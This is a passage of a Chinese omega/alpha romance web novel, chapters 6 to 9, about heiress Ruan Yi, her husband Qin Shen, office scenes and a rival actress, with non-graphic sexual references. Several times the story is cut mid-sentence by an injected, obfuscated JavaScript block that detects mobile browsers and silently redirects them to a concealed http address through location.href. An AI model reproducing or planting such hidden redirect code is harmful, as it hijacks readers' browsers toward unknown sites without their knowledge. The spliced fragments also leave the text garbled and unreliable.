这段婚姻于她而言,似乎对象是谁都一样。 秦深沉沉看了她半晌,才起身退出房间。 6. 第6章 第二天还是休假,阮宜起得很晚。 秦深已经照常没有了踪影。 阮宜和芳姨说起昨天的事情。 昨天见到的那几个秦家的亲戚,她总感觉他们对秦深的态度很微妙。 并不像真正有血缘关系的亲人。 更像是老鼠见到了猫。 “老爷子杀伐果断了一辈子,到最后却惦记亲情起来了。” “那栋茶楼紧挨着的就是别墅区,少爷那些叔叔姑姑都住在那边。” “当年就是老爷子让少爷给茶楼题了字,连着别墅送给他们,说是立威式的警告,但也算是老爷子从少爷手里保下他们。” 芳姨一边剪着花枝,一边和阮宜说起那栋茶楼的过往。 阮宜抿了抿唇,恍然有些明白昨日那些秦家人为什么是那副态度。 既有讨好,也有敬畏。 她迟疑了一会儿,还是忍不住问起来:“当时他们欺负秦深的时候,老爷子有说什么吗?” 芳姨笑了笑:“老爷子不会帮助弱小的Alpha。” 秦家权势滔天,嫡系旁支为了争权夺利,说杀得头破血流也不为过。秦深父母是商业联姻,彼此并没有什么感情,夫妻生活也极为冷淡。 秦深出生不过几年,秦深父亲就迷上了一个omega。 已是年近不惑的年纪,因为秦老爷子不同意离婚,他为了和那个omega结婚,居然选择了脱离秦家。 秦家长子的离开,让秦家其他人都蠢蠢欲动起来。 护着儿子在这种情境下长大并不容易,况且也并不是自己和心爱之人的孩子。 秦深母亲干脆选择了离开,出国和初恋结婚。 从此,留秦深一人在如虎似狼的秦家,独自长大。 虽然顶着嫡系的名头,却没有应该有的待遇。 各色人等杀得头破血流,老爷子也只是冷眼旁观,养蛊一般,看能不能炼出一个真正的继承人。 阮宜眼泪都快掉下来了,气吼吼地握着拳头:“他们这群人真讨厌!” 她从来没听秦深提过这些事。 两家结婚的时候,阮家也提到过要不要和亲家见面。 毕竟他们都是秦深的父母。 但都被秦深拒绝了。 后来阮宜无意中曾经看到过一个包裹,附带着一封信,好像就是他父亲寄来的。 然而秦深并没有任何打开的意思。 甚至连语气也是淡淡的:“我父亲寄来的东西,扔掉吧。” 对他来说,原谅也好、恨也好,似乎都不应当出现在身上。 这些都是无用的情绪。 并不能真的帮助他什么。 如今身处高山之巅,是他一步步上去的。 他不需要任何人陪着,也没有人敢靠近他。 见小姑娘气得脸都红了,芳姨连忙找补了两句:“不过老爷子还是看好少爷的。” 她有些后悔说了这些,牵连阮宜也伤心。 只是这些年,看着秦深从小到大,芳姨也心疼他。 阮宜眨眨眼睛,泪珠从长长的睫毛滑落:“我才不信。他一定很不容易。” 芳姨并没反驳。 说是秦老爷子支持秦深上位,其实也是在秦深蛰伏多年、彰显出来了果断狠厉的前提下,才让秦老爷子信服了他的能力。 或者说,秦家不得不交到他的手里,才有开拓和发展的可能性。 阮宜虽然没有体验过那种情境,可是她却能体会到秦深的心情。 明明秦深是在和叔叔姑姑的斗法下凭自己的能力才活了下来,最后秦老爷子却又软了心肠,明里暗里还是让秦深放他们一马。 她只觉得替秦深委屈:“老爷子真不公平。” 爷爷都不叫了。 芳姨笑了笑,没有再说话。转身去了厨房,去准备阮宜要吃的舒芙蕾。 阮宜嘟了嘟嘴,难得打开微信,决定关心一下她老公。 毕竟,身为从小被阮家捧在手心里的娇娇女,她真的想不到原来秦深的以前是这样的。 在她无忧无虑的学生时代,秦深就已经早早修完学位毕业,暗中蛰伏积攒力量随时准备给敌人致命一击。 恐怕连他的学生时代,也是这样度过的吧。 【软软泡芙:老公!你今晚想吃什么?】 秦深那边回得很快。 【Q:不要进厨房。】 阮宜刚才还有点收不住的难过,瞬间因为这句话变成小生气。 公主难得关怀他一次,他不珍惜就罢了,居然还敢质疑。 什么意思!他是瞧不起她吗? 虽然她难得一次进厨房,还差点把锅给炸了。 阮宜哼了一声,他这么一说,她倒是真的想进厨房了。 惊艳他一把! 【软软泡芙:我让芳姨做给你吃哦^_^】 【Q:我今天要去清大剪彩,晚回来一会儿,你先吃就好。】 【Q:想要什么直接刷卡,不用问我。】 不用见到本人,也能想到秦深说这话冷冰冰的语气。 好像她关心他一次,就是为了得到想要的包包珠宝裙子游艇一样…… 这绝对是秦深这种冷血资本家的想法 她阮宜作为善解人意的小仙女,才不会像他一样无情又冷酷。 不过说起来,她好像确实看中了一对海蓝宝耳坠。 把商品截图发了过去,阮宜锲而不舍地继续“关心”。 【软软泡芙:才不会呢,我会一直等着老公喔!】 【软软泡芙:话说清大是你的母校吗?】 【Q:不是,只是有个活动。】 【软软泡芙:好好奇老公上大学的样子呀,我都没见过!青春男大肯定超级帅!】 虽然哄人的话张口就来,但是这句话绝对是发自阮宜内心。 像秦深这种天之骄子,家世显贵,又长得好看。 除了性子冷淡了些,简直没缺点了。 阮宜突然想到,这人的学生时代,必然是校园风云人物。 那么,肯定有很多女生追吧。 不知道……他有没有谈过校园恋爱。 阮宜没来由地心里一酸,望着还没回音的微信,心情突然有点变差。 几分钟后,微信才“叮”了一声。 【Q:很久之前的事情了,我已经忘了。】 不知道秦深是不是感受到这边的阮宜心情变化,并没有多说什么,反而只是简单略了过去。 阮宜心情这才好转了一点点。 既然早已经忘了,那说明也没有什么印象深刻的事情。 比如初恋之类的。 阮宜虽然没谈过恋爱,但还能记住高中的时候的学长。 很阳光很会打篮球,还会送她回家,在回家的路上遇到了一个人…… 然后,发生了什么来着。 阮宜突然觉得自己好像忘记了一些事情。 她印象里,那是第一次学长送她回家,而且也是最后一次。 后来,就很少再见到学长了。 可是她也没觉得记忆里突兀,似乎并不是突然不见学长的,而是发生了什么事情,过了很长一段时间,然后才慢慢不见面的。 阮宜努力想了一会儿,还是没想起任何回忆。 反而还有点头疼。 大概是过去太久了。 她晃了晃脑袋,决定暂时不去想了。 【软软泡芙:哦也对,其实我也想不起来高中的事情了。】 她没说她觉得忘了什么的不对劲。 秦深并没有再就这个话题聊下去,半晌后他才回了一张截图。 【Q:下午送到家里。】 是那套海蓝宝耳坠。 【软软泡芙:老公真好!mua一口!】 阮宜放下手机,手指不自觉地拽着长发画圈。 她心里总是有股说不清的酸涩。 但是,毕竟他们这种塑料夫妻,最不需要的就是关怀对方的过去,毕竟各自的过去都和对方无关。 他们只需要在步入婚姻殿堂之后,扮演好恩爱夫妻就足够了。 就像她说想要什么,秦深就吩咐人去置办才是常态。 可是,偏偏她觉得。 其实也可以不是这样的。 * 秦深今天活动结束得格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114130|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外早,连穆阳都有些吃惊。 虽然他不爱出席宴会,却总有些场子不得不参加。 今天却是剪彩结束后,就说要离场了。 下了车,秦深走进去。 一路是正在盛放的花圃。品种颜色各异,不过都是玫瑰。 推开门,屋子里悬着一盏昏黄的小灯。 秦深并没有意外。 只是静静掀起一点嘲讽的弧度。 算了,其实也知道她不会等他。 多半回了房间。 不过是担心万一他真的晚归,她又要掉眼泪。 倒也并没有多么期待阮宜践行诺言。 她本来就是想一出是一出的性子。 信息素匹配的100%,并不代表感情也是100%。 生理性的依赖而已。 他解开西装的纽扣,随后悬挂到衣架上。 刚要准备开灯的时候,沙发上传来囔囔的声音:“侬回勒来??……” 她睡得迷迷糊糊,连眼睛都还没睁开,下意识带了口音。 秦深走过去,看到她软软地睡在沙发上,盖着米色的羊毛毯。眼睛努力眨了眨,还是有点懵。 他放轻声音:“怎么不回屋子睡?” 阮宜像小动物一样哼哼了两声。 秦深没听清楚,低头靠近:“什么?” “好渴,我要喝水……” 秦深无奈,只得先给她接了杯温水。 动作温柔地托起她的背,让她靠着自己。阮宜很自然地就倚到他怀里,不住扭来扭去找到一个舒适的位置。 然后啪嗒一下张开那张小嘴。 秦深将吸管递到她嘴里,那张小嘴飞快地吸吮着。 阮宜喝了两口水,才有些醒过来。咽下一口又抱怨道:“你回来得好晚哦,我给你做的舒芙蕾都凉了。” 吃了舒芙蕾,心情会变好。 这是阮宜的开心秘诀。她都这么大方地分享给他了。 秦深默了默,道:“对不起。” 又道:“怎么不回屋子睡?” 阮宜继续喝着水,毛茸茸的脑袋在他怀里拱了拱。 片刻后他听到女孩娇娇地说道。 “我答应等你的。” 秦深眸子暗了暗:“今天怎么这么乖。” 阮宜从他怀里坐起来,转过身,一眨也不眨地盯着他。 客厅里只有一盏小灯,衬得他今天眉眼格外柔和。阮宜仰着头,十分认真地开口:“我以后再也不会对你发脾气了。” 柔软的身躯离开自己的怀抱。秦深闲散地靠着沙发,安静听着她控诉秦家那些讨厌的人。 比他本人还要生气。 秦深转了转手腕的表,心想芳姨和她讲的时候,大概是没提后面。 秦家人冷漠、凶狠、不留情面。 而他同样骨子里流淌的是秦家人的血。 在秦深羽翼未丰的时候,就开始和大了他一倍的Alpha姑姑叔叔斗争。 再等到他登上掌权人的位置之后,也是毫不留情、大刀阔斧地处理了这些人。 秦家,从来讲求的都是丛林原则、弱肉强食。 唯有血脉强大的alpha,才能掌权。 成者王,败者寇。 而他只会赢不会输。 不过这些和她讲的话,恐怕他今天就没有这样好的待遇了。 阮宜吸了吸鼻子,看他神情淡淡,更加觉得那些人过分。 其实都是装出来的不在意吧。他心里一定很伤心。 她拍了拍他的肩膀,柔软的掌心拂过男人坚实的肌肉,仰着头看他。 眼睛红红的,鼻尖也红红的,像个雪人。 舔一口十分可口的那种。 小雪人并没留意他瞬间的紧绷,只是神情郑重,仿佛是寒门状元郎和发妻许诺:“我会对你好的。” 秦深静静看了一会儿,倏然道:“好。” “小宜要说话算数。” 黑葡萄似的眼睛随之落下一片黑暗,然后便是来自男人铺天盖地的吻,还裹挟着外面的寒气。 浑身都在叫嚣着,要让她证明。 怎么对他好。 7. 第7章 阮宜刚到公司的时候,就看到综艺节目的布景已经搭了起来。 一堆人正在忙里忙外,把他们隔壁的办公室清了出来,作为综艺的拍摄场所。 小唐端着一杯咖啡走过来,有点羡慕又有点无语:“咱这设计部都成摄影棚了。” 阮宜把包包放下,又是先搽了个口红,然后才有点好奇地问小唐:“你看过这个综艺吗?” “没有,”小唐紧接着又说,“不过我看过苹果视频的那个offer。” “文月就是那个综艺火起来的,没想到今年又来了香蕉的这个职场新秀。” 阮宜听出了他话外的微妙:“那不是竞品吗?” “对啊,据说她跟offer导演组闹翻了,导演还在微博上阴阳她。” 小唐撇了撇嘴,又补充道:“所以我对她观感不好,先不说忘恩负义吧,而且又上一次职场综艺,感觉很像回锅肉……” 他们在这儿聊着,琳达突然推门进来,一副火急火燎的样子:“下午的会议提到半小时后,大家马上准备一下。” 办公室里顿时怨声载道:“这不刚上班吗就开会啊!” 琳达是个十分强势的女alpha,皱着眉打断大家的抱怨:“这是上头的命令,总裁要参会。而且,我们设计部要去顶楼总裁办开会。” 众人顿时有点发蒙:“啊???” 琳达又风风火火地走了,刚才还在聊八卦的小唐顿时苦着一张脸:“大老板想要干什么啊?” 本来说要来设计部录制综艺,大家一开始还挺开心的。结果发现因为拍摄综艺,他们反而多了一堆额外的工作。 那边的甄妮不紧不慢打开电脑,很刻意地开口:“说不定秦总有什么想见的人。” “什么人?”小唐明显没get到她的意思,“我们设计部谁得罪大老板了?” 甄妮笑了一声:“不懂就算了。” 在她这种知道内情的人看来,文月一来录制这个综艺,总裁对设计部就明显关心起来。 预示着什么,不言而喻了。 小唐却完全想反了,转头对着阮宜念念叨叨:“不会吧不会吧,我可只是一个小职员啊,开我应该也不用总裁吧!” 阮宜眨了眨眼,信口开河道:“或许,他真的有想见的人?” “呵呵,他想见谁?”小唐越想越害怕,“我看大老板想开了谁还差不多,听说上次他把李副董叫去总裁办,毫不留情把他批了一顿。” “李副董都快退休的年纪了,被大老板这么一顿批,第二天气得说要去医院,但最后摄于圣威,还是没敢不来。” 阮宜觉得好笑,安慰他道:“圣威?你以为秦深是皇帝啊!” 小唐哭丧着脸:“只要他别开了我,我以后肯定把他当皇帝,肯定不摸鱼也不蹭公司的电还有水还有纸还有茶水间新放的茶叶……” 阮宜捕捉到了“茶叶”二字,一问才知道茶水间居然上架了凤凰单枞。 怪不得今天同事们一个个跑茶水间那么勤。几万一两的茶叶,就这么作为员工福利,谁都想去尝一口。 阮宜心里有点甜滋滋的。 没想到她随口说了一句,他还记在心里。 不过,说不定也是穆阳放的。 秦深……才没有那么体贴。 不然昨天晚上也不会…… 昨天秦深回来的时候,她兴冲冲给他看新到的海蓝宝耳环。她本意是要他看她的耳朵和耳环配不配,结果这人看着看着就上手了。 甚至还拉着阮宜在玄关那儿,就……越做越过分。 她慢悠悠去茶水间泡了杯热茶,跟着同事们陆陆续续乘坐电梯往顶楼走去。 尽管秦深半年不来一次启明,但是顶楼依然是预留的总裁办公室。 一整层都是他的办公区,北欧式的黑白灰风格,极其空阔通透。 只是看装潢便能看出他的行事风格,果断利落,从不留情。 阮宜想起家里那种她喜爱的华贵奢靡风,不知道秦深是不是还挺不习惯的。 毕竟整座华宫都是依了她的喜好打造的。 小唐小声开口,打断她的思考:“我还是第一次来顶楼,这儿比陈副董的办公室可高雅多了。” 陈副董是启明的实际负责人,据说在启明待了几十年,算是公司的老人,据说差一点就升到总公司那边去了。 只不过秦深上任后便是铁腕整治,半点不留旧情的意思,下令调了几位总公司来的总经理,遏制负责人大权。 陈副董这两年行事低调了许多,唯独办公室还能看出来早年的风格,金碧辉煌跟暴发户一样,一直被公司员工吐槽审美老土。 小唐叽叽喳喳地和阮宜讨论着,直到甄妮跟在后边过来,镶钻的美甲握着咖啡杯。 “有些人就是眼皮子浅。”她瞥了一眼小唐,嗤笑一声,“你当秦总的办公室是菜市场呢?大老板的身家有多少!这不过是个办公室罢了。” 阮宜理都懒得理她,跟着众人一起进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是她还没开口,上位的人便轻敲了两下桌面。 秦深神情淡然,看不出半分波动。 比起生气,似乎更像是把这事轻轻揭过了一样。 甚至就像刚才根本没有听到打哈欠的声音。 众人你看我看,怀疑自己是不是听错了。 其实刚才根本没有人打哈欠。 不然大老板怎么会这么轻轻放过! 8. 第8章 难不成,是大老板今天心情格外好? 毕竟连领带都有些特别。 众人心里有些好奇,但是也不敢多言。 下一个马上轮到节目组导演上台了。 等到PPT开始放映,小唐才替阮宜松了一口气。他轻拍了下她搭在桌上的胳膊,小声道:“还好今天大老板心情好。” 阮宜心里哼哼了两声。 她打哈欠都要怪他。 他要是敢为此当着面批评她…… 她就在背后偷偷骂他! “安啦~” 阮宜安抚似地回拍了两下,如玉似地手指还缀着亮晶晶的粉色亮钻。 秦深对这美甲有印象,还是她前几天刚做的。 昨晚在他后背留了好几道痕迹,下手一点也不留情。 无论他是轻了还是重了,怎么哄都不行,拼命地在他后背乱抓。 最后秦深换了在后边的姿势,才堪堪拯救了后背。 尽管如此,他也仍然觉得。背后那些红痕,隐隐有些发痒。 穆阳看到小唐和阮宜的互动,心里已经直呼救命。微微侧眼,秦深脸色不出意外地冷了下来。 明明面上好像和刚才的神情一般无波,但是会议室的气氛明显感觉就下降了几度。 台上的导演昆安咽了咽口水,本来就紧张,这下讲得更吞吞吐吐了。 这位爷看上去不太满意啊! 导演尴尬又迅速地把后边汇报结束,全程秦深只是问了几句就离开了,末了又让几个设计部的高层和导演再去趟总裁办。 小唐一听没有他的事,眉毛都要飞起来了:“见一次大老板消耗我半年元气,我要赶紧回到我的工位躺着!” 而作为副总监,阮宜就没有那么幸运。她一张小脸紧紧板着,心里嘀咕秦深到底想干什么。 一行人进了总裁办公室。秦深坐在办公椅上,一边翻着文件一边发问:“既然你们选择接下这个项目,那就要做好。” “舆论是把利剑,你们做得好自然会有奖励,但若是出什么问题影响到公司,也就不要怪我不给面子了。” 他有意点了两句陈副董。 陈副董咳了两句才道:“昆导对综艺很有把握,一定能成!是不是啊昆导?” 昆安连忙点点头,又接连说了一大堆这个节目的好话,说得口干舌燥也不敢停下来。 他本来还以为秦深要见他是什么好事,但是显然不像啊。 甚至他都想到了之前的绯闻,是不是文月把秦总惹生气了。他把文月带过来想让她道个歉,结果那位穆总助却一脸温和又不容拒绝地让文月留在门外的会客室。 这个会议也开得干巴巴的,没见秦总对他们这个节目有什么兴趣。 仿佛找他过来,只为了走个过场。 他干巴巴地说扯着各种话题,突然抬头看见墙上挂了副字。昆安一开始还以为自己看错了,又看了几遍才确定就是“模范丈夫”。 昆安眼前一亮,顺势开始称赞:“秦总这幅字是夫人给您题的吧,您和夫人真是伉俪情深啊!” 众人这才往那儿望去,顿时都十分震惊。 秦总居然结婚了!而且似乎还和夫人很恩爱! 不为别的,秦深私生活十分严密,从不对外公布。上次传绯闻的后果,就是所有发布谣言的营销号,全都被告得要么销号要么道歉。 大家都没留意到这幅字,估计就是因为没想到正儿八经的办公室里,挂了这么一副仿佛夫妻打趣的字。 既没想到秦深已婚,也没想到他还有这种情趣。 昆安本来只是没话找话,没想到秦深却难得露出今天第一个淡笑,似乎还很是赞许地回话:“她对书法有些兴趣。” 这怎么还品出了一点宠溺的意味?! 完全想象不出平时冷若冰霜的秦总,提起夫人居然会是这样的神情。 众人都感觉吃到了惊天大瓜,一个个惊得都抬头恨不得把那副字看穿了。 唯独阮宜竭力低着头不敢应声,脸颊都快烧了起来。 她咬着粉唇,心里却想着,昨晚真应该在他后背再用力多划几道。 虽然大家不知道秦夫人就是她,但是她感觉……还是很社死! 哪有人把夫妻情趣之间写的字挂到办公场所的呀! * 最后散会的时候,只有阮宜被秦深以公事的借口留下。不知道是不是他向来严肃正经的缘故,大家都半点没觉得不对劲,甚至还想着是阮宜得罪了秦深。 只有阮宜知道,这人看似严肃,实际……公私不分! 办公室门一关,估摸着人都走远了,她那副小职员的表情才突地一变,成了一副娇纵大小姐的模样,气冲冲地要秦深给她一个说法。 结果秦深轻飘飘一句“不是你让我挂起来的吗”,就把阮宜气鼓鼓的包给戳破了。 阮宜:“……” 突然想起来,好像那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114132|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天晚上她确实说过…… 虽然发现自己确实不占理,但是阮小公主还是无端地发了一通脾气。 不知道秦深是不是知道她憋着一股又羞又气的意思,倒也半点没拦着她,显然是让她现场发出来,好不用回家发。 直到穆阳隔着门听到那一阵碎声,后边紧接着传来秦深有些沉闷的声音:“好了,当心伤着手。” 阮宜翘起小嘴:“怎么?不许我砸花瓶?” 秦深声音有些无奈:“花瓶值几个钱,你受了伤又要哭。” 再接着一阵窸窸窣窣的声音,然后便是秦深半点没有波澜的声音传来,然而细听却又有几分压抑。 “穆阳,过会儿让人进来,把这一堆碎片清理了。” 穆阳连忙点头称是,心里却咋舌夫人使个小性子的代价可真够大的。 几个钱?那可是一千多万的元青花瓷瓶啊。 但是听秦深话里话外的意思,半点心疼懊悔没有,反而是让阮宜出了一通气,这青花瓷瓶碎得相当物超所值。 下一秒,阮宜推开门走出来。 粉嫩的唇上还带着可疑的水痕,原先羞红的脸色变成了淡淡的粉色。比起刚才在会上一副气鼓鼓的模样,此刻看上去心情相当不错。 穆阳:“……” 一千多万的瓷瓶只为了让她听个响,这位大小姐也只有秦总养得起了。 阮宜出来见到穆阳,顿时反应他一直等在门前,恐怕里面噼里啪啦的声音听得一清二楚。 还有那个匾额,肯定是秦深吩咐穆阳给挂上去的…… 阮宜脸上又泛起几丝红晕,咬了咬唇连忙逃离般地要走。 只是刚一转角,迎面便碰上个熟人。 一道女声带着些不满和质疑道:“怎么是你?” 虽然只见了一面,但是阮宜这种容貌气度,一面也足够别人记住她。 倒是阮宜抬头看了她一眼,想了一下才记起来是文月。 不觉得自己需要和她打招呼,阮宜瞥了她一眼,傲娇地扭着细腰就要离开,半点没有搭理的意思。 她站定在电梯间门口,按键等着电梯上来。 文月有些气恼,但是想到来这儿的目的,还是决定先去总裁办公室。 只是不等着她凑近,穆阳就上前拦住了她的步伐:“不好意思,秦总在工作,不见任何无关人员。” 文月瞠目结舌,指着那边还在等电梯的阮宜:“她不是刚出来吗?” 9. 第9章 穆阳丝毫没有放行的意思,礼貌微笑:“文小姐,如果您还打算顺利录制的话,就请不要再做出有可能惹怒秦总的任何举动。” 明摆着对于文月的疑问,他连解释的意思都懒得给。 文月:“……” 深知秦深不是她能得罪得起的人,毕竟上次绯闻过后,她便明显感受到公司里那些人对她的热切不如从前了。 还好这个综艺是提前就签好的,本来文月还提心吊胆以为自己会被换掉,结果没想到她还是收到了节目组的邀请。 来之前还以为是秦深那边有什么意思,现在想想恐怕是秦深这等大人物,根本懒得理她。 文月深吸一口气,装着淡定无事走到电梯间前边。 阮宜轻轻打了个哈欠,并没有看她。 上次听到小唐说的那个设计师综艺她回去看了,对于这种说他们设计师的综艺,阮宜还是有点感兴趣的。 一旁的文月已经恢复了惯有的假笑:“在这儿碰到也是缘分,小姐也是来找秦总的?” 阮宜点了点头,并没有解释什么。 看来也是和她一样,来找秦深的人。这种天横贵胄的太子爷,身边从来就不会缺女人。 文月看了眼阮宜,放低了声音又道:“那你知道他结婚了吗?” 阮宜这才转头,正眼看了一眼文月。 哦,听这语气,这人似乎是把她当成秦深的小情儿了。 而且文月似乎还很有劝她“从良”的意思:“秦总的妻子可是大家闺秀千金小姐,我看你年纪轻轻的,不如找个工作好好努力,何苦在做这种事呢?” 说话间电梯来了,开门进来一个总裁部的秘书,见开门站着阮宜,礼貌点头道:“阮总监好。” 显然,她是启明正儿八经的职员。 文月一时没反应过来,只讷讷地看着阮宜,脸色有些涨红。 刚才在秦深办公室被顺毛得异常愉快,阮宜看文月就像看一个电子宠物。况且,嫉妒羡慕她阮大小姐多了去了,她才不会随便就生气。 阮宜甜甜一笑道:“文小姐,这话你还是说给自己听吧。” 她抬脚走进电梯,再转身已然是一副贵不可攀的模样。明明生得娇媚可人,却又自有几分凌人贵气。 “我不喜欢和别人同乘电梯,文小姐坐下一趟吧。” 虽然也有借口在里面,但是阮宜确实不喜欢她身上的信息素味儿。 浓郁得呛人。 文月被她这一通丝滑连招弄得有点懵,瞪大了眼睛看着阮宜关上电梯门:“你——” * 回家晚饭,芳姨熬了薏米山药粥。她这个月的发情期刚过,胃口不是很好,前两天都没怎么吃东西。 “小宜要好好补补身体,这两天都累坏了吧。” 见芳姨唠叨着关心她的身体,阮宜小脸通红地应下。虽然芳姨字面没提到是为什么累,但是发情期累……还能是因为什么。 阮宜瞪了一眼旁边的秦深,又不满地哼哼了几声。 不管是胃口不好还是累……都要怪他。 秦深呷了口普洱,唇边逸出淡笑:“嗯,多吃点,别又半夜饿了。” 他眼眸深邃,半点看不出来这句“半夜饿了”还有其他深意。 阮宜脸嘭地红成一团,支支吾吾地不知道怎么接他的话。 omega发情期本来就对alpha有很强的依赖性,更不用提他们这种基因匹配度极高的。 平时她一点都不热衷这种事的,可是每到了发情期,就总是按捺不住生理冲动,黏黏糊糊就知道巴着秦深乱亲乱啃,满屋子都是她玫瑰香气的信息素味道。 甚至半夜结合热的时候,甜腻腻地就要自己的alpha安抚。 当然,秦深这种时候从来都是乐见其成,给娇滴滴的omega进行标记。有时候明明只需要暂时的信息素安抚,他也会毫不客气地……把不用做的也做完。 那天晚上虽然是她先勾的他,但是结合热过去她就火速求饶想睡了。结果秦深看着小omega用完就扔的模样,冷笑一声,肌肉绷紧,半点没有结束的意思。 折腾了半夜才结束,阮宜汗涔涔地被他抱到浴室清洗,又差点小死了一回。 待到清洗完又肚子咕咕叫了起来,阮宜本来就羞得小脸通红,绝对不许他把芳姨叫起来给做饭,浑身更是青紫一片、绵软无力, 所以最后就成了,秦深下厨做了碗汤面,又给她端到床上喂她吃饭。 他这一语双关的话,阮宜只庆幸还好芳姨进厨房端饭了,没有听到。 不然,她真的要丢死人了。 全然没有想到每次发情期都这么度过,不说半夜的动静,就说第二天打扫的痕迹,其实佣人们早就知晓这对小夫妻的习惯了。 只不过为了少夫人薄薄的面子,大家都装作不知道而已。 晚饭后,秦深照常进了书房,他还有一个跨国会议要开。 只不过不似平日里安静地开完全程,今天开到一半便有人推开了门。 秦深微微蹙眉。 佣人是绝不会打扰他开会的。 果不其然,进来的是一道娇小婀娜的身影。 阮宜蹑手蹑脚地进来,为了防止有声音,她连鞋子都没穿。 赤裸着一双白嫩的脚踩在地板上。 “我们下个月会继续跟进这个项目……”市场部总经理正在一板一眼地述职汇报,突然发现屏幕前的大BOOS就没了身影。 阮宜还在小心翼翼地往沙发那边走,突然下一秒就被人打横抱了起来,她下意识尖叫一声:“啊!” 闻到那股熟悉的乌木气息,她才软了身子惯性地倚到男人的怀里。 还记得他在开会,她捏住他的衣角,小声软糯道:“你干嘛呀?” 男人拧了拧眉:“不许赤脚。” 他一边斥道一边把她抱到沙发上。 阮宜还想再辩解两句什么,只是想到他还在开会,只好鼓了鼓腮。 秦深再次回到办公桌上,戴上了耳机,淡淡道:“继续。” 一副无事发生的样子,众人甚至都怀疑刚才那声女人的尖叫是听错了。 对商业会议那些复杂的名词并无兴趣,阮宜一边玩着小游戏一边感觉自己快要睡着了。 就在手机砸到脸之前,那边会议传来了陈副董的声音。 阮宜一个激灵醒过来。好像是轮到启明珠宝汇报了诶。 陈副董一把年纪,平常在公司端的是架势。 这会儿汇报反倒是毕恭毕敬,阮宜看不到脸都能猜到屏幕对面的人肯定是在低眉顺眼地念PPT。 “目前正在跟进综艺合作项目,只要这个项目顺利,这一季度珠宝的推广可以达到……” “停。” 秦深突然出声打断,顿了顿道:“这个项目暂停推进。” “啊?” 别说屏幕对面的陈副董懵了,连阮宜都没反应过来。 陈副董还不死心想挽留两句:“总裁,这个项目已经推进很长一段时间了,更何况综艺马上就要开录,如果停掉肯定要付违约金……” 秦深面上八风不动:“停掉。” 陈副董还没说话,众人就看到镜头前的总裁再度离开。 想到刚才听到的女声,众人再次瞪大了双眼。 难道是因为传说中的秦太太? 秦深抬眼看向沙发,小姑娘一骨碌爬了下来,站在沙发上看他。 他走过去,问道:“怎么了?” 阮宜站在沙发上,微微比他高了一点。 她眨着眼睛看他:“你是因为我……才想停掉这个项目的吗?” 之前传过绯闻的那个小明星,就要录制这个综艺。 秦深不置可否。 他当然是没这个心神去留意,还是穆阳提醒他,今天太太离开办公室的时候碰到了之前那个小明星,而且这个小明星还是综艺项目的参与人员。 而万一这不起眼的项目引起阮宜不开心…… 他的日程表一直排到了后年,并不打算为此花费更多心神。 停掉无疑是最好的安排。 阮宜见他没有否认,抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114133|164148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的双手开始撒娇:“可以不停吗?” 她知道和综艺合作的合同是早就签好的,还是年前陈副董负责那会儿。秦深突然空降启明,也是看到下边递上策划才知晓全程。 在秦深看来,与其花费精力去预防,还不如花几千万违约费停掉。 毕竟上次阮宜因为文月的绯闻发了一通脾气。 但是阮宜也不是不通情理的人,虽然是陈副董主持的项目,但也是底下人策划的,平白因为她的喜好白费大家的努力,阮宜还觉得不好意思。 特别是琳达和广告部,大家都来来回回忙了很久, 而且她上次生气也不是因为文月,她还没觉得秦深会品味差到这种程度,只是借机发作而已。 再说了,她今天在办公室刚砸了一个一千多万的青花瓷瓶…… 阮宜眨了眨眼:“大家都为这个项目努力了很久,要是因为我停掉……” “多不好意思呀。” 她一副可怜样子地看着秦深。 秦深捏了捏眉,淡声道:“我竟然不知道,秦太太这么深明大义。” 阮宜这就不乐意了。 什么意思呀!说的好像她是那种因为捕风捉影的八卦就闹离婚一样的人一样! ……俨然已经忘了当时在停车场和秦深是怎么甩脸的。 秦深重新坐回办公桌前,神色矜冷,吐出一句话:“项目继续。” 尽管在他看来,这个几千万的项目根本没什么意义。 陈副董大喜过望,脸上的皱纹都笑成了核桃。 心想肯定是秦太太帮忙求情了! 阮宜听到他那句嘱咐才放心地躺回沙发上。 美滋滋地想着市场部就应该把她阮大小姐供起来! 她就是这么一个深明大义的人! 想到刚才男人一副意外的神色,阮宜又忍不住往办公桌那边看去。 “我不关心过程,我只要结果。” 